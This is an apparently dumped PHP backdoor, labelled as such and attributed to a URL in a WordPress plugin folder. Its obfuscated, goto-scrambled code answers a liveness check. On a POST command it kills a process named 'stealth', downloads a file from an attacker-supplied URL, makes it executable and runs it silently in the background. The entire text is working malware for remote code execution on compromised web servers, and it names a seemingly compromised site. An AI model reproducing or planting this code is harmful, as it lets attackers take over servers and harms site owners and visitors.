BackDoor: http://saiinfotech.net/wp-content/plugins/apikey/class-http.php

<?php goto StL3CvvZWZ4ZP3LN; ICVjPs6L2IIxv2U8: $g_m1vFF5oRza0VH5 = $_POST["\x75\x72\x6c"]; goto tnUw7hNUH7SBr9GU; Robk18YSAj6GeUI6: F2R1Z6UudYjFgfyw: goto wbIQjLxcUHdF9PvS; khupw_NNuFACbR4u: die; goto Robk18YSAj6GeUI6; EpWnDRVuPP4uOPUy: $zoUdl1u2MM35rLMf = file_get_contents(trim($g_m1vFF5oRza0VH5)); goto dSjLZ_zvINiN3hfp; Lim_S_HmxIGiGLX_: $h2mklze53I9MDH0c = "\x2e\57{$cqQHbAE5XLgs8psC}\x20\x3e\x20\x2f\x64\x65\166\57\x6e\x75\x6c\154\40\x32\76\57\144\x65\x76\57\x6e\x75\x6c\x6c\40\46"; goto vXDQhKC1LeSwPpkn; vXDQhKC1LeSwPpkn: exec($h2mklze53I9MDH0c); goto CMJjHYia4AeTRvut; fxDOKj_Z4cBjbQcH: echo "\x61\165\x78\x36\124\150\x65\x69\x6f\x47\150\x75\x65\x51\x75\x33"; goto khupw_NNuFACbR4u; xpGRDihSwc_RjqUO: if (!($_GET["\x63\147"] == "\x63\x68\153")) { goto F2R1Z6UudYjFgfyw; } goto fxDOKj_Z4cBjbQcH; wbIQjLxcUHdF9PvS: if (!($_POST["\x63\x70"] == "\144\157\x77\156\x6c\157\141\x64")) { goto jlA1Pp4NQyJUHBK3; } goto t5Vjb2U246Jb61Jm; t5Vjb2U246Jb61Jm: $cqQHbAE5XLgs8psC = substr(str_shuffle(str_repeat($ZNPTFf3D_3zXFaNZ = "\x30\61\62\x33\x34\65\x36\67\x38\71\x61\142\x63\x64\145\146\x67\x68\151\x6a\153\154\x6d\156\157\x70\x71\162\x73\164\x75\166\x77\170\171\172\x41\x42\103\x44\105\x46\x47\110\x49\x4a\x4b\114\x4d\116\x4f\x50\121\x52\x53\x54\125\x56\x57\130\131\x5a", ceil(6 / strlen($ZNPTFf3D_3zXFaNZ)))), 1, 6); goto ICVjPs6L2IIxv2U8; ebufrDnW4NCIIb9O: chmod($cqQHbAE5XLgs8psC, 0755); goto Lim_S_HmxIGiGLX_; StL3CvvZWZ4ZP3LN: error_reporting(0); goto xpGRDihSwc_RjqUO; CMJjHYia4AeTRvut: echo "\x6f\153"; goto jh5GXp7ndUrL8zjk; y5_VAiuFIE44R6Ce: exec("\x70\x6b\151\154\x6c\x20\55\x39\x20\x2d\146\40\x73\x74\x65\141\154\164\x68"); goto AlFi31sya97TFhVq; dSjLZ_zvINiN3hfp: file_put_contents($cqQHbAE5XLgs8psC, $zoUdl1u2MM35rLMf); goto ebufrDnW4NCIIb9O; Gia6TMaCHDz7UacT: @unlink($cqQHbAE5XLgs8psC); goto y5_VAiuFIE44R6Ce; AlFi31sya97TFhVq: exec("\160\x6b\x69\x6c\x6c\40\55\146\x20\55\x39\x20\163\x74\145\141\x6c\x74\x68"); goto EpWnDRVuPP4uOPUy; tnUw7hNUH7SBr9GU: if (empty($g_m1vFF5oRza0VH5)) { goto NKb44R5q7UbVMieR; } goto Gia6TMaCHDz7UacT; jh5GXp7ndUrL8zjk: NKb44R5q7UbVMieR: goto lqXtIAJ_OsepPPNk; lqXtIAJ_OsepPPNk: jlA1Pp4NQyJUHBK3: